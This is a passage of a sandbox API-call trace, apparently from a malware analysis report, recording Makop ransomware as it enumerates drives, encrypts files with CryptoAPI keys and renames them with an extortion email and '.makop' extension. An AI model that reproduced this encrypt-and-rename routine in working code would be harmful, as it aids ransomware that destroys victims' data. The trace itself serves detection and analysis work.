HALPmcxz\\Desktop\\zqKAg.xlsx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zqkag.xlsx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0057.621] CloseHandle (hObject=0x120) returned 1 [0057.621] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55753300, ftCreationTime.dwHighDateTime=0x1d5f166, ftLastAccessTime.dwLowDateTime=0x560dc980, ftLastAccessTime.dwHighDateTime=0x1d5f166, ftLastWriteTime.dwLowDateTime=0xb46e8400, ftLastWriteTime.dwHighDateTime=0x1d5f135, nFileSizeHigh=0x0, nFileSizeLow=0x42000, dwReserved0=0x0, dwReserved1=0x0, cFileName="지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe", cAlternateFileName="_20200~1.EXE")) returned 1 [0057.621] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55753300, ftCreationTime.dwHighDateTime=0x1d5f166, ftLastAccessTime.dwLowDateTime=0x560dc980, ftLastAccessTime.dwHighDateTime=0x1d5f166, ftLastWriteTime.dwLowDateTime=0xb46e8400, ftLastWriteTime.dwHighDateTime=0x1d5f135, nFileSizeHigh=0x0, nFileSizeLow=0x42000, dwReserved0=0x0, dwReserved1=0x0, cFileName="지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe", cAlternateFileName="_20200~1.EXE")) returned 0 [0057.621] FindClose (in: hFindFile=0x48c06c8 | out: hFindFile=0x48c06c8) returned 1 Thread: id = 6 os_tid = 0x48c [0057.643] wsprintfW (in: param_1=0x657e770, param_2="%s\\*.*" | out: param_1="C:\\*.*") returned 6 [0057.643] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x48c6fe8 [0057.644] wsprintfW (in: param_1=0x657f770, param_2="%s\\%s" | out: param_1="C:\\$Recycle.Bin") returned 15 [0057.644] wsprintfW (in: param_1=0x657ccf0, param_2="%s\\*.*" | out: param_1="C:\\$Recycle.Bin\\*.*") returned 19 [0057.644] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7028 [0057.645] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.645] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0057.645] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0057.645] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*.*") returned 66 [0057.645] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0057.646] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.646] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0057.646] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0057.647] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0057.647] GetProcessHeap () returned 0x48a0000 [0057.647] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0057.647] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0057.647] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657afc8 | out: lpNewFilePointer=0x0) returned 1 [0057.648] WriteFile (in: hFile=0x128, lpBuffer=0x657afd8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x657afa8, lpOverlapped=0x0 | out: lpBuffer=0x657afd8*, lpNumberOfBytesWritten=0x657afa8*=0xf, lpOverlapped=0x0) returned 1 [0057.651] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657afac | out: phKey=0x657afac*=0x48c70a8) returned 1 [0057.651] CryptSetKeyParam (hKey=0x48c70a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0057.651] GetProcessHeap () returned 0x48a0000 [0057.651] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0057.651] CryptEncrypt (in: hKey=0x48c70a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x657af90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x657af90*=0x40) returned 1 [0057.651] CryptDestroyKey (hKey=0x48c70a8) returned 1 [0057.651] WriteFile (in: hFile=0x128, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x657afa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x657afa8*=0x40, lpOverlapped=0x0) returned 1 [0057.652] WriteFile (in: hFile=0x128, lpBuffer=0x657afb0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657afa8, lpOverlapped=0x0 | out: lpBuffer=0x657afb0*, lpNumberOfBytesWritten=0x657afa8*=0x4, lpOverlapped=0x0) returned 1 [0057.652] WriteFile (in: hFile=0x128, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657afa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657afa8*=0x10, lpOverlapped=0x0) returned 1 [0057.652] WriteFile (in: hFile=0x128, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657afa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x657afa8*=0x80, lpOverlapped=0x0) returned 1 [0057.652] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657afd0 | out: lpNewFilePointer=0x0) returned 1 [0057.652] WriteFile (in: hFile=0x128, lpBuffer=0x657afc0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657afa8, lpOverlapped=0x0 | out: lpBuffer=0x657afc0*, lpNumberOfBytesWritten=0x657afa8*=0x8, lpOverlapped=0x0) returned 1 [0057.652] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657afac | out: phKey=0x657afac*=0x48c70a8) returned 1 [0057.652] CryptSetKeyParam (hKey=0x48c70a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0057.653] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.653] ReadFile (in: hFile=0x128, lpBuffer=0x6370020, nNumberOfBytesToRead=0x81, lpNumberOfBytesRead=0x657afb4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657afb4*=0x81, lpOverlapped=0x0) returned 1 [0057.653] CryptEncrypt (in: hKey=0x48c70a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657af90*=0x90, dwBufLen=0x90 | out: pbData=0x6370020*, pdwDataLen=0x657af90*=0x90) returned 1 [0057.653] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.653] WriteFile (in: hFile=0x128, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x657afa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657afa8*=0x90, lpOverlapped=0x0) returned 1 [0057.653] CryptDestroyKey (hKey=0x48c70a8) returned 1 [0057.653] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.653] SetEndOfFile (hFile=0x128) returned 1 [0057.661] GetProcessHeap () returned 0x48a0000 [0057.661] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0057.661] GetProcessHeap () returned 0x48a0000 [0057.661] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0057.661] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0057.661] MoveFileW (lpExistingFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), lpNewFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0057.738] CloseHandle (hObject=0x128) returned 1 [0057.738] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0057.738] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0057.738] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0057.738] FindClose (in: hFindFile=0x48c7028 | out: hFindFile=0x48c7028) returned 1 [0057.738] FindNextFileW (in: hFindFile=0x48c6fe8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0057.739] wsprintfW (in: param_1=0x657f770, param_2="%s\\%s" | out: param_1="C:\\Boot") returned 7 [0057.739] wsprintfW (in: param_1=0x657ccf0, param_2="%s\\*.*" | out: param_1="C:\\Boot\\*.*") returned 11 [0057.739] FindFirstFileW (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7028 [0057.739] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.739] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x90cd45e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x90cd45e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0057.740] wsprintfW (in: param_1=0x657d4f0, param_2="%s\\%s" | out: param_1="C:\\Boot\\BCD") returned 11 [0057.740] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0057.740] GetLastError () returned 0x20 [0057.740] GetProcessHeap () returned 0x48a0000 [0057.741] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x100000) returned 0x6580020 [0057.741] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x6580020, Length=0x100000, ResultLength=0x0 | out: SystemInformation=0x6580020, ResultLength=0x0) returned 0x0 [0058.073] GetCurrentProcessId () returned 0xa4c [0058.073] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.073] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.074] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.074] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.074] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.074] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.074] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.075] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.075] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.075] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.075] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.077] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.077] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.077] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.078] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.078] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.078] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.078] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.079] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.079] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.079] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.079] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.080] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.080] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.080] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.080] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.081] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.081] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.081] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.081] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.082] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.082] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.082] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.082] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.083] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.083] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.083] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.083] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.083] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.084] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.084] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.084] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.084] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.085] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.085] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.085] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.085] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.086] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.086] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.086] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.086] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.087] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.087] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.087] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.087] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.087] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.088] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.088] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.088] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.088] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.089] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.089] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.089] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.089] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.090] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.090] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.090] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.090] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.091] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.091] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.091] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.092] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.092] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.092] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.092] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.093] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.093] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.093] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.093] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.093] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.095] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.095] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.095] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.095] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.096] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.096] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.096] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.096] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.096] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.097] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.097] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.097] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.097] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.097] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.098] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.098] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0058.098] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, 